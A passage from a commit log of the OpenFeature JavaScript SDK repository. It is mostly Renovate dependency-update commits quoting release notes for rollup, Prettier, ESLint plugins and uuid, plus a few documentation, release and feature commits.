[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/3.29.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/3.28.1/3.29.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/3.28.1/3.29.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v3.29.4`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3294)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.29.3...v3.29.4)

*2023-09-28*

##### Bug Fixes

- Fix static analysis when an exported function uses callbacks
([#&#8203;5158](https://togithub.com/rollup/rollup/issues/5158))

##### Pull Requests

- [#&#8203;5158](https://togithub.com/rollup/rollup/pull/5158):
Deoptimize all parameters when losing track of a function
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.29.3`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3293)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.29.2...v3.29.3)

*2023-09-24*

##### Bug Fixes

- Fix a bug where code was wrongly tree-shaken after mutating function
parameters
([#&#8203;5153](https://togithub.com/rollup/rollup/issues/5153))

##### Pull Requests

- [#&#8203;5145](https://togithub.com/rollup/rollup/pull/5145): docs:
improve the docs repl appearance in the light mode
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5148](https://togithub.com/rollup/rollup/pull/5148):
chore(deps): update dependency
[@&#8203;vue/eslint-config-typescript](https://togithub.com/vue/eslint-config-typescript)
to v12 ([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5149](https://togithub.com/rollup/rollup/pull/5149):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5153](https://togithub.com/rollup/rollup/pull/5153): Fully
deoptimize first level path when deoptimizing nested parameter paths
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.29.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3292)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.29.1...v3.29.2)

*2023-09-15*

##### Bug Fixes

- Export `TreeshakingPreset` type
([#&#8203;5131](https://togithub.com/rollup/rollup/issues/5131))

##### Pull Requests

- [#&#8203;5131](https://togithub.com/rollup/rollup/pull/5131): fix:
exports `TreeshakingPreset`
([@&#8203;moltar](https://togithub.com/moltar))
- [#&#8203;5134](https://togithub.com/rollup/rollup/pull/5134): docs:
steps to enable symlinks on windows
([@&#8203;thebanjomatic](https://togithub.com/thebanjomatic))
- [#&#8203;5137](https://togithub.com/rollup/rollup/pull/5137):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.29.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3291)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.29.0...v3.29.1)

*2023-09-10*

##### Bug Fixes

- Fix time measurement of plugin hooks in watch mode
([#&#8203;5114](https://togithub.com/rollup/rollup/issues/5114))
- Ensure accessing document.currentScript in import.meta.url returns
correct results
([#&#8203;5118](https://togithub.com/rollup/rollup/issues/5118))

##### Pull Requests

- [#&#8203;5114](https://togithub.com/rollup/rollup/pull/5114):
fix(perf): avoid superfluous timer wrappings in watch mode
([@&#8203;ZhengLiu2825](https://togithub.com/ZhengLiu2825))
- [#&#8203;5118](https://togithub.com/rollup/rollup/pull/5118): fix:
access document.currentScript at the top level
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5125](https://togithub.com/rollup/rollup/pull/5125):
chore(deps): update actions/checkout action to v4
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5126](https://togithub.com/rollup/rollup/pull/5126):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5129](https://togithub.com/rollup/rollup/pull/5129):
re-enbale repl-artefacts workflow for rollup-swc branch
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.29.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#3290)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.28.1...v3.29.0)

*2023-09-06*

##### Features

- Add output.sourcemapFileNames option
([#&#8203;5105](https://togithub.com/rollup/rollup/issues/5105))
- Add generic type parameter for `api` to Plugin type
([#&#8203;5112](https://togithub.com/rollup/rollup/issues/5112))

##### Bug Fixes

- Ensure mutations of CustomEvent details are tracked
([#&#8203;5123](https://togithub.com/rollup/rollup/issues/5123))

##### Pull Requests

- [#&#8203;5105](https://togithub.com/rollup/rollup/pull/5105): Added
option to name sourcemap files, i.e. a output.sourcemapFileName…
([@&#8203;atti187](https://togithub.com/atti187))
- [#&#8203;5108](https://togithub.com/rollup/rollup/pull/5108):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5109](https://togithub.com/rollup/rollup/pull/5109): Docs:
load full path of rollup.browser.js for Rollup V4
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5112](https://togithub.com/rollup/rollup/pull/5112):
feat(types): add generic type for plugin api
([@&#8203;sxzz](https://togithub.com/sxzz))
- [#&#8203;5115](https://togithub.com/rollup/rollup/pull/5115):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5123](https://togithub.com/rollup/rollup/pull/5123):
Deoptimize custom event detail
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzcuOC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-09 11:52:00 -04:00
renovate[bot] 4b2d6110ce
chore(deps): update dependency eslint-plugin-jsdoc to v46.8.2 (#561)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`46.4.6` ->
`46.8.2`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/46.4.6/46.8.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/46.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/46.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/46.4.6/46.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/46.4.6/46.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v46.8.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.8.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.8.1...v46.8.2)

##### Bug Fixes

- fall back to deprecated `getSourceCode()`; fixes
[#&#8203;1159](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1159)
([8374349](83743492cb))

###
[`v46.8.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.8.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.8.0...v46.8.1)

##### Bug Fixes

- **`require-description-complete-sentence`:** allow all inline tags at
beginning of sentence; fixes
[#&#8203;1150](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1150)
([e8b1475](e8b14756c5))

###
[`v46.8.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.8.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.7.0...v46.8.0)

##### Features

- **`require-returns`:** add `publicOnly` option; fixes
[#&#8203;1137](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1137)
([8dbcb6f](8dbcb6f31d))

###
[`v46.7.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.7.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.6.0...v46.7.0)

##### Features

- **`require-returns`:** add optional fixer
([dfd2a8a](dfd2a8a0b5))

###
[`v46.6.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.6.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.5.1...v46.6.0)

##### Features

- **`informative-docs`:** add `excludedTags`; fixes
[#&#8203;1153](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1153)
([6f1b50b](6f1b50b571))

###
[`v46.5.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.5.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.5.0...v46.5.1)

##### Bug Fixes

- revert use of too-high language feature; fixes
[#&#8203;1148](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1148)
([85a21bf](85a21bfb69))

###
[`v46.5.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.5.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.6...v46.5.0)

##### Features

- support Flat ESLint config; fixes
[#&#8203;1131](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1131)
([918dbed](918dbed99f))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzYuOTcuMSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-09 10:41:34 -04:00
renovate[bot] 01ab9e42a2
chore(deps): update dependency eslint-config-prettier to v8.10.0 (#554)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-config-prettier](https://togithub.com/prettier/eslint-config-prettier)
| [`8.8.0` ->
`8.10.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/8.8.0/8.10.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-config-prettier/8.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-config-prettier/8.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-config-prettier/8.8.0/8.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-config-prettier/8.8.0/8.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier
(eslint-config-prettier)</summary>

###
[`v8.10.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-8100-2023-08-03)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.9.0...v8.10.0)

- Added: \[max-statements-per-line]. Thanks to
[@&#8203;Zamiell](https://togithub.com/Zamiell)!

###
[`v8.9.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-890-2023-07-27)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.8.0...v8.9.0)

- Added: \[vue/array-element-newline]. Thanks to
[@&#8203;xcatliu](https://togithub.com/xcatliu)!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [x] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi42OC4xIiwidXBkYXRlZEluVmVyIjoiMzYuNjguMSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-09 09:51:37 -04:00
renovate[bot] 36fc592bf8
chore(deps): update dependency prettier to v3 (#569)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`^2.6.2` ->
`^3.0.0`](https://renovatebot.com/diffs/npm/prettier/2.8.8/3.0.3) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/2.8.8/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/2.8.8/3.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.0.3`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#303)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.0.2...3.0.3)

[diff](https://togithub.com/prettier/prettier/compare/3.0.2...3.0.3)

##### Add `preferUnplugged: true` to `package.json`
([#&#8203;15169](https://togithub.com/prettier/prettier/pull/15169) by
[@&#8203;fisker](https://togithub.com/fisker) and
[@&#8203;so1ve](https://togithub.com/so1ve))

Prettier v3 uses dynamic imports, user [will need to unplug
Prettier](https://togithub.com/yarnpkg/berry/pull/5411#issuecomment-1523502224)
when Yarn's PnP mode is enabled, add [`preferUnplugged:
true`](https://yarnpkg.com/configuration/manifest#preferUnplugged) to
`package.json`, so Yarn will install Prettier as unplug by default.

##### Support shared config that forbids `require()`
([#&#8203;15233](https://togithub.com/prettier/prettier/pull/15233) by
[@&#8203;fisker](https://togithub.com/fisker))

If an external shared config package is used, and the package `exports`
don't have `require` or `default` export.

In Prettier 3.0.2 Prettier fails when attempt to `require()` the
package, and throws an error.

```text
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: No "exports" main defined in <packageName>/package.json
```

##### Allow argument of `require()` to break
([#&#8203;15256](https://togithub.com/prettier/prettier/pull/15256) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
const plugin = require(
  global.STANDALONE
    ? path.join(__dirname, "../standalone.js")
    : path.join(__dirname, "..")
);

// Prettier 3.0.2
const plugin = require(global.STANDALONE
  ? path.join(__dirname, "../standalone.js")
  : path.join(__dirname, ".."));

// Prettier 3.0.3
const plugin = require(
  global.STANDALONE
    ? path.join(__dirname, "../standalone.js")
    : path.join(__dirname, "..")
);
```

##### Do not print trailing commas in arrow function type parameter
lists in `ts` code blocks
([#&#8203;15286](https://togithub.com/prettier/prettier/pull/15286) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

````md
<!-- Input -->
```ts
const foo = <T>() => {}
```

<!-- Prettier 3.0.2 -->
```ts
const foo = <T,>() => {}
```

<!-- Prettier 3.0.3 -->
```ts
const foo = <T>() => {}
```
````

##### Support TypeScript 5.2 `using` / `await using` declaration
([#&#8203;15321](https://togithub.com/prettier/prettier/pull/15321) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

Support for the upcoming Explicit Resource Management feature in
ECMAScript. [`using` / `await using`
declaration](https://devblogs.microsoft.com/typescript/announcing-typescript-5-2/#using-declarations-and-explicit-resource-management)

<!-- prettier-ignore -->

```tsx
{
   using foo = new Foo();
   await using bar = new Bar();
}
```

###
[`v3.0.2`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#302)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.0.1...3.0.2)

[diff](https://togithub.com/prettier/prettier/compare/3.0.1...3.0.2)

##### Break after `=` of assignment if RHS is poorly breakable
AwaitExpression or YieldExpression
([#&#8203;15204](https://togithub.com/prettier/prettier/pull/15204) by
[@&#8203;seiyab](https://togithub.com/seiyab))

<!-- prettier-ignore -->

```js
// Input
const { section, rubric, authors, tags } = await utils.upsertCommonData(mainData);

// Prettier 3.0.1
const { section, rubric, authors, tags } = await utils.upsertCommonData(
  mainData,
);

// Prettier 3.0.2
const { section, rubric, authors, tags } =
  await utils.upsertCommonData(mainData);
```

##### Do not add trailing comma for grouped scss comments
([#&#8203;15217](https://togithub.com/prettier/prettier/pull/15217) by
[@&#8203;auvred](https://togithub.com/auvred))

<!-- prettier-ignore -->

```scss
/* Input */
$foo: (
	'property': (),
	// comment 1
	// comment 2
)

/* Prettier 3.0.1 */
$foo: (
  "property": (),
  // comment 1
  // comment 2,
);

/* Prettier 3.0.2 */
$foo: (
  "property": (),
  // comment 1
  // comment 2
);
```

##### Print `declare` and `export` keywords for nested namespace
([#&#8203;15249](https://togithub.com/prettier/prettier/pull/15249) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```tsx
// Input
declare namespace abc1.def {}
export namespace abc2.def {}

// Prettier 3.0.1
namespace abc1.def {}
namespace abc2.def {}

// Prettier 3.0.2
declare namespace abc1.def {}
export namespace abc2.def {}
```

###
[`v3.0.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#301)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.0.0...3.0.1)

[diff](https://togithub.com/prettier/prettier/compare/3.0.0...3.0.1)

##### Fix cursor positioning for a special case
([#&#8203;14812](https://togithub.com/prettier/prettier/pull/14812) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```js
// <|> is the cursor position

/* Input */
// All messages are represented in JSON.
// So, the prettier.py controls a subprocess which spawns "node {this_file}".
import {<|>  } from "fs"

/* Prettier 3.0.0 */
// All messages are represented in JSON.
// So, the prettier.py <|>controls a subprocess which spawns "node {this_file}".
import {} from "fs"

/* Prettier 3.0.1 */
// All messages are represented in JSON.
// So, the prettier.py controls a subprocess which spawns "node {this_file}".
import {<|>} from "fs"
```

##### Fix plugins/estree.d.ts to make it a module
([#&#8203;15018](https://togithub.com/prettier/prettier/pull/15018) by
[@&#8203;kingyue737](https://togithub.com/kingyue737))

Add `export {}` in `plugins/estree.d.ts` to fix the "File is not a
module" error

##### Add parenthesis around leading multiline comment in return
statement
([#&#8203;15037](https://togithub.com/prettier/prettier/pull/15037) by
[@&#8203;auvred](https://togithub.com/auvred))

<!-- prettier-ignore -->

```jsx
// Input
function fn() {
  return (
    /**
     * @&#8203;type {...}
     */ expresssion
  )
}

// Prettier 3.0.0
function fn() {
  return /**
   * @&#8203;type {...}
   */ expresssion;
}

// Prettier 3.0.1
function fn() {
  return (
    /**
     * @&#8203;type {...}
     */ expresssion
  );
}
```

##### Add support for Vue "Generic Components"
([#&#8203;15066](https://togithub.com/prettier/prettier/pull/15066) by
[@&#8203;auvred](https://togithub.com/auvred))

https://blog.vuejs.org/posts/vue-3-3#generic-components

<!-- prettier-ignore -->

```vue
<!-- Input -->
<script setup lang="ts" generic="T extends Type1 & Type2 & (Type3 | Type4), U extends string | number | boolean"></script>

<!-- Prettier 3.0.0 -->
<script
  setup
  lang="ts"
  generic="T extends Type1 & Type2 & (Type3 | Type4), U extends string | number | boolean"
></script>

<!-- Prettier 3.0.1 -->
<script
  setup
  lang="ts"
  generic="
    T extends Type1 & Type2 & (Type3 | Type4),
    U extends string | number | boolean
  "
></script>
```

##### Fix comments print in `IfStatement`
([#&#8203;15076](https://togithub.com/prettier/prettier/pull/15076) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```js
function a(b) {
  if (b) return 1; // comment
  else return 2;
}

/* Prettier 3.0.0 */
Error: Comment "comment" was not printed. Please report this error!

/* Prettier 3.0.1 */
function a(b) {
  if (b) return 1; // comment
  else return 2;
}
```

##### Add missing type definition for `printer.preprocess`
([#&#8203;15123](https://togithub.com/prettier/prettier/pull/15123) by
[@&#8203;so1ve](https://togithub.com/so1ve))

```diff
export interface Printer<T = any> {
  // ...
+ preprocess?:
+   | ((ast: T, options: ParserOptions<T>) => T | Promise<T>)
+   | undefined;
}
```

##### Add missing `getVisitorKeys` method type definition for `Printer`
([#&#8203;15125](https://togithub.com/prettier/prettier/pull/15125) by
[@&#8203;auvred](https://togithub.com/auvred))

```tsx
const printer: Printer = {
  print: () => [],
  getVisitorKeys(node, nonTraversableKeys) {
    return ["body"];
  },
};
```

##### Add typing to support `readonly` array properties of AST Node
([#&#8203;15127](https://togithub.com/prettier/prettier/pull/15127) by
[@&#8203;auvred](https://togithub.com/auvred))

<!-- prettier-ignore -->

```tsx
// Input
interface TestNode {
  readonlyArray: readonly string[];
}

declare const path: AstPath<TestNode>;

path.map(() => "", "readonlyArray");

// Prettier 3.0.0
interface TestNode {
  readonlyArray: readonly string[];
}

declare const path: AstPath<TestNode>;

path.map(() => "", "readonlyArray");
//                  ^ Argument of type '"readonlyArray"' is not assignable to parameter of type '"regularArray"'. ts(2345)

// Prettier 3.0.1
interface TestNode {
  readonlyArray: readonly string[];
}

declare const path: AstPath<TestNode>;

path.map(() => "", "readonlyArray");
```

##### Add space before unary minus followed by a function call
([#&#8203;15129](https://togithub.com/prettier/prettier/pull/15129) by
[@&#8203;pamelalozano](https://togithub.com/pamelalozano))

<!-- prettier-ignore -->

```less
// Input
div {
  margin: - func();
}

// Prettier 3.0.0
div {
  margin: -func();
}

// Prettier 3.0.1
div {
  margin: - func();
}
```

###
[`v3.0.0`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#300)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.8...3.0.0)


[diff](https://togithub.com/prettier/prettier/compare/3.0.0-alpha.6...3.0.0)

🔗 [Release Notes](https://prettier.io/blog/2023/07/05/3.0.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-09 09:47:39 -04:00
Luiz Guilherme Ribeiro 9dd3ac9ebe
docs: add web client docs (#573)
## This PR

Adds docs to JavaScript web-client sdk regarding flag evaluation flow
and context.

### Related Issues

Closes #570 

### Notes

Mermaid diagrams were used but I'm not sure if they are currently
supported.

---------

Signed-off-by: Luiz Ribeiro <ltrindaderibeiro@gmail.com>
2023-10-03 11:37:53 -04:00
github-actions[bot] ad8e6c5174
chore(main): release shared 0.0.11 (#558)
🤖 I have created a release *beep* *boop*
---


##
[0.0.11](https://github.com/open-feature/js-sdk/compare/shared-v0.0.10...shared-v0.0.11)
(2023-09-22)


### Features

* add provider compatibility check
([#537](https://github.com/open-feature/js-sdk/issues/537))
([2bc5d63](2bc5d63266))
* STALE state, minor event changes
([#541](https://github.com/open-feature/js-sdk/issues/541))
([0b5355b](0b5355b3cf))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-09-29 13:08:11 -04:00
Michael Beemer a67152df2a
chore: fix logo rendering outside of github
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-09-22 12:37:01 -04:00
Michael Beemer e914d87f62
chore: fix logo rendering outside of github
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-09-22 12:36:33 -04:00
Michael Beemer d624bdb7b1
chore: fix logo rendering outside of github
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-09-22 12:36:09 -04:00
Michael Beemer 4047d5a8cb
chore: fix logo rendering outside of github
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-09-22 12:35:42 -04:00
Michael Beemer 00e11c5f1a
ci: improve pr title error message
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-09-21 13:02:13 -04:00
renovate[bot] 62285da7c7
chore(deps): update dependency uuid to v9.0.1 (#563)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [uuid](https://togithub.com/uuidjs/uuid) | [`9.0.0` ->
`9.0.1`](https://renovatebot.com/diffs/npm/uuid/9.0.0/9.0.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/9.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/9.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/9.0.0/9.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/9.0.0/9.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>uuidjs/uuid (uuid)</summary>

###
[`v9.0.1`](https://togithub.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#901-2023-09-12)

[Compare
Source](https://togithub.com/uuidjs/uuid/compare/v9.0.0...v9.0.1)

##### build

-   Fix CI to work with Node.js 20.x

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi44My4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-20 13:03:31 -04:00
Todd Baert 0b5355b3cf
feat: STALE state, minor event changes (#541)
* added the "STALE" provider state
* added "providerName" to EventDetails
* run handlers immediately if provider in corresponding state
* fixes a few lint issues

Fixes: https://github.com/open-feature/js-sdk/issues/562
Fixes: https://github.com/open-feature/js-sdk/issues/539

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-09-20 11:39:13 -04:00
renovate[bot] 0fd394c1bb
chore(deps): update dependency eslint to v8.49.0 (#553)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://togithub.com/eslint/eslint)) | [`8.47.0` ->
`8.49.0`](https://renovatebot.com/diffs/npm/eslint/8.47.0/8.49.0) |
